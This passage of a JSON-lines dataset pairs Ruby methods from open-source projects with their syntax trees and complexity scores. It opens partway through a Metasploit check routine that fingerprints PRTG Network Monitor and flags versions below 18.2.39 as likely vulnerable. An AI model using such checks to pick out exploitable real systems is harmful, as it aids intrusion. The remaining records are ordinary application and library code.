d\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"at\",{\"type\":\"str\",\"children\":[\"span[@class=\\\"prtgversion\\\"]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prtg_version_html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prtg_version_html\"]},\"text\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"version_match\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prtg_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prtg_version_html\"]},\"text\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"version_match\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prtg_version\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Identified PRTG Network Monitor Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prtg_version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"prtg_version\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"18.2.39\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prtg_server_header\"]},\"include?\",{\"type\":\"str\",\"children\":[\"PRTG\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"PRTG\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]},null]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}]}","id":"aba77801-17bc-4618-b769-68760df84512"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/families_controller.rb","start_line":25,"raw_source":"def create\n    @family = Family.new(family_params)\n    authorize @family\n\n    service = Families::Create.new(\n      user: current_user,\n      name: family_params[:name]\n    )\n\n    if service.call\n      redirect_to family_path, notice: 'Family created successfully!'\n    else\n      @family = Family.new(family_params)\n\n      if service.errors.any?\n        service.errors.each do |error|\n          @family.errors.add(error.attribute, error.message)\n        end\n      end\n\n      if service.error_message.present?\n        @family.errors.add(:base, service.error_message)\n      end\n\n      flash.now[:alert] = service.error_message || 'Failed to create family'\n      render :new, status: :unprocessable_content\n    end\n  end","complexity_score":47.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@family\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Family\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"family_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@family\"]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Families\"]},\"Create\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"family_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"call\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"family_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"str\",\"children\":[\"Family created successfully!\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@family\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Family\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"family_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"errors\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@family\"]},\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"attribute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"error_message\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@family\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"error_message\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"error_message\"]},{\"type\":\"str\",\"children\":[\"Failed to create family\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_content\"]}]}]}]}]}]}]}]}","id":"0bcd8b4d-0ea7-4cca-9b29-89e640ea1fc4"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion.rb","start_line":310,"raw_source":"def downcase_code\n      self.code = code.downcase.strip\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"downcase_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"code=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"code\"]},\"downcase\"]},\"strip\"]}]}]}","id":"98a0ff99-6dc4-4e19-968b-3504b07334ab"}
{"repo_name":"gl_command","file_path":"./repos/gl_command/lib/gl_command/chainable_context.rb","start_line":5,"raw_source":"def self.reserved_words\n      %i[callable called failure no_notify raise_errors] + instance_methods\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reserved_words\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"callable\"]},{\"type\":\"sym\",\"children\":[\"called\"]},{\"type\":\"sym\",\"children\":[\"failure\"]},{\"type\":\"sym\",\"children\":[\"no_notify\"]},{\"type\":\"sym\",\"children\":[\"raise_errors\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"instance_methods\"]}]}]}","id":"f6fd4bc1-a85c-4f36-b9b2-1d98c2883532"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/const_manager.rb","start_line":93,"raw_source":"def add_const(name, value)\n    consts[name] = value\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_const\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"consts\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"ccdfdc4f-e22d-470a-ac7c-911a604add13"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":99,"raw_source":"def test_render_template_with_format\n    assert_match \"<h1>No Comment</h1>\", @view.render(template: \"comments/empty\", formats: [:html])\n    assert_match \"<error>No Comment</error>\", @view.render(template: \"comments/empty\", formats: [:xml])\n    assert_match \"<error>No Comment</error>\", @view.render(template: \"comments/empty\", formats: :xml)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_template_with_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"<h1>No Comment</h1>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"comments/empty\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"<error>No Comment</error>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"comments/empty\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"<error>No Comment</error>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"comments/empty\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"sym\",\"children\":[\"xml\"]}]}]}]}]}]}]}","id":"35ce0a29-f10f-46d3-8907-1b3e24b972fa"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/inheritance_test.rb","start_line":272,"raw_source":"def test_alt_inheritance_save\n    cabbage = Cabbage.new(name: \"Savoy\")\n    cabbage.save!\n\n    savoy = Vegetable.find(cabbage.id)\n    assert_kind_of Cabbage, savoy\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_alt_inheritance_save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cabbage\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cabbage\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Savoy\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cabbage\"]},\"save!\"]},{\"type\":\"lvasgn\",\"children\":[\"savoy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vegetable\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cabbage\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Cabbage\"]},{\"type\":\"lvar\",\"children\":[\"savoy\"]}]}]}]}","id":"140bef9d-bef5-4df5-ab8c-0bd59dfa0d90"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/gitlab_projects_import_service.rb","start_line":64,"raw_source":"def template_file\n      strong_memoize(:template_file) do\n        params.delete(:file)\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"template_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"template_file\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]}]}","id":"aac2df92-4af9-4ddd-a62b-c6fe697e4a93"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/structured_event_subscriber_test.rb","start_line":28,"raw_source":"def setup\n    @subscriber = TestSubscriber.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@subscriber\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestSubscriber\"]},\"new\"]}]}]}","id":"4ebf1e30-9cd2-443f-b888-b81d25c08358"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/crypto/gss_new_encryption_type.rb","start_line":24,"raw_source":"def gss_wrap(plaintext, key, sequence_number, is_initiator, opts={})\n            use_acceptor_subkey = opts.fetch(:use_acceptor_subkey) { true }\n            # Handle wrap-around\n            sequence_number &= 0xFFFFFFFFFFFFFFFF\n\n            flags = GSS_SEALED\n            flags |= GSS_ACCEPTOR_SUBKEY if use_acceptor_subkey\n\n            if is_initiator\n              key_usage = Rex::Proto::Kerberos::Crypto::KeyUsage::GSS_INITIATOR_SEAL\n            else\n              key_usage = Rex::Proto::Kerberos::Crypto::KeyUsage::GSS_ACCEPTOR_SEAL\n              flags |= GSS_SENT_BY_ACCEPTOR\n            end\n\n            tok_id = TOK_ID_GSS_WRAP\n            filler = 0xFF\n            ec = calculate_ec(plaintext.length)\n            rrc = calculate_rrc\n\n            # RFC4121, Section 4.2.4\n            plaintext_header = [tok_id, flags, filler, 0, 0, sequence_number].pack('nCCnnQ>')\n\n            header = [tok_id, flags, filler, ec, rrc, sequence_number].pack('nCCnnQ>')\n            # \"x\" chosen as the filler based on the Linux implementation of the kerberos client\n            # https://salsa.debian.org/debian/krb5/-/blob/0269810b1aec6c554fb746433f045d59fd34ab3a/src/lib/gssapi/krb5/k5sealv3.c#L160\n            ec_filler = \"x\" * ec\n            plaintext = plaintext + ec_filler + plaintext_header\n            ciphertext = self.encrypt(plaintext, key.value, key_usage)\n            rotated = rotate(ciphertext, rrc+ec)\n\n            result = [header + rotated, header_length + ec, ec]\n          end","complexity_score":43.45,"ast_json":"{\"type\":\"def\",\"children\":[\"gss_wrap\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plaintext\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"sequence_number\"]},{\"type\":\"arg\",\"children\":[\"is_initiator\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"use_acceptor_subkey\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"use_acceptor_subkey\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sequence_number\"]},\"&\",{\"type\":\"int\",\"children\":[18446744073709551615]}]},{\"type\":\"lvasgn\",\"children\":[\"flags\",{\"type\":\"const\",\"children\":[null,\"GSS_SEALED\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_acceptor_subkey\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"const\",\"children\":[null,\"GSS_ACCEPTOR_SUBKEY\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_initiator\"]},{\"type\":\"lvasgn\",\"children\":[\"key_usage\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"KeyUsage\"]},\"GSS_INITIATOR_SEAL\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key_usage\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"KeyUsage\"]},\"GSS_ACCEPTOR_SEAL\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"const\",\"children\":[null,\"GSS_SENT_BY_ACCEPTOR\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tok_id\",{\"type\":\"const\",\"children\":[null,\"TOK_ID_GSS_WRAP\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filler\",{\"type\":\"int\",\"children\":[255]}]},{\"type\":\"lvasgn\",\"children\":[\"ec\",{\"type\":\"send\",\"children\":[null,\"calculate_ec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rrc\",{\"type\":\"send\",\"children\":[null,\"calculate_rrc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext_header\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tok_id\"]},{\"type\":\"lvar\",\"children\":[\"flags\"]},{\"type\":\"lvar\",\"children\":[\"filler\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"sequence_number\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"nCCnnQ>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tok_id\"]},{\"type\":\"lvar\",\"children\":[\"flags\"]},{\"type\":\"lvar\",\"children\":[\"filler\"]},{\"type\":\"lvar\",\"children\":[\"ec\"]},{\"type\":\"lvar\",\"children\":[\"rrc\"]},{\"type\":\"lvar\",\"children\":[\"sequence_number\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"nCCnnQ>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ec_filler\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"ec\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"ec_filler\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"plaintext_header\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ciphertext\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"encrypt\",{\"type\":\"lvar\",\"children\":[\"plaintext\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"value\"]},{\"type\":\"lvar\",\"children\":[\"key_usage\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rotated\",{\"type\":\"send\",\"children\":[null,\"rotate\",{\"type\":\"lvar\",\"children\":[\"ciphertext\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rrc\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"ec\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"rotated\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"header_length\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"ec\"]}]},{\"type\":\"lvar\",\"children\":[\"ec\"]}]}]}]}]}","id":"2423ae23-64b8-45d4-9183-cce3f5133d6b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/composable_array.rb","start_line":42,"raw_source":"def value\n          @entries.map(&:value)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entries\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]}","id":"4a978c51-bc31-4321-8786-06751db189e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/error_tracking_controller.rb","start_line":110,"raw_source":"def check_error_tracking_feature_flag\n    return unless Feature.enabled?(:hide_error_tracking_features, project)\n\n    render_404\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_error_tracking_feature_flag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"hide_error_tracking_features\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"e1af6d9b-801d-4f83-b401-9c0a97f8613e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/members/scopes/of_entity.rb","start_line":37,"raw_source":"def of_entity(entity)\n        if entity.respond_to?(:project)\n          where(project: entity.project, entity:)\n        else\n          where(project: nil, entity:)\n        end\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"of_entity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]}]}]}]}","id":"afde02f4-5c6f-433e-9903-756463714f32"}
{"repo_name":"parallel","file_path":"./repos/parallel/spec/cases/with_exception.rb","start_line":13,"raw_source":"def self.call(x)\n    $stdout.sync = true\n    sleep 0.1 # so all workers get started\n    print x\n    raise ParallelTestError, 'foo' if x == 1\n    sleep 0.2 # so now no work gets queued before exception is raised\n    x\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"sync=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ParallelTestError\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.2]}]},{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}","id":"b6c89da4-d721-4d9c-86e8-356571937f7c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/ansible/runner/credential/rhv_credential.rb","start_line":27,"raw_source":"def write_ovirt_ini_file\n        ovirt_data = %W[\n          [ovirt]\n          ovirt_url=#{auth.host}\n          ovirt_username=#{auth.userid}\n          ovirt_password=#{auth.password}\n        ]\n\n        # NOTE:  We currently DO NOT support ca_file support as is in `awx`.\n        #\n        # ansible/awx ref:\n        #\n        #   https://github.com/ansible/awx/blob/1242ee2b/awx/main/models/credential/__init__.py#L1046\n        #\n        # To add, we need to update the GoogleCredential::API_OPTIONS in\n        # app/models and add the following line here:\n        #\n        # ovirt_data << \"ovirt_ca_file=#{auth.auth_key}\" if auth.auth_key\n\n        File.write(ovirt_ini_file, ovirt_data.join(\"\\n\"))\n        File.chmod(0o0600, ovirt_ini_file)\n      end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"write_ovirt_ini_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ovirt_data\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"[ovirt]\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ovirt_url=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth\"]},\"host\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ovirt_username=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth\"]},\"userid\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ovirt_password=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth\"]},\"password\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"ovirt_ini_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ovirt_data\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"chmod\",{\"type\":\"int\",\"children\":[384]},{\"type\":\"send\",\"children\":[null,\"ovirt_ini_file\"]}]}]}]}","id":"f78046f1-1a5d-4bd0-837f-e6fab61b7f3f"}
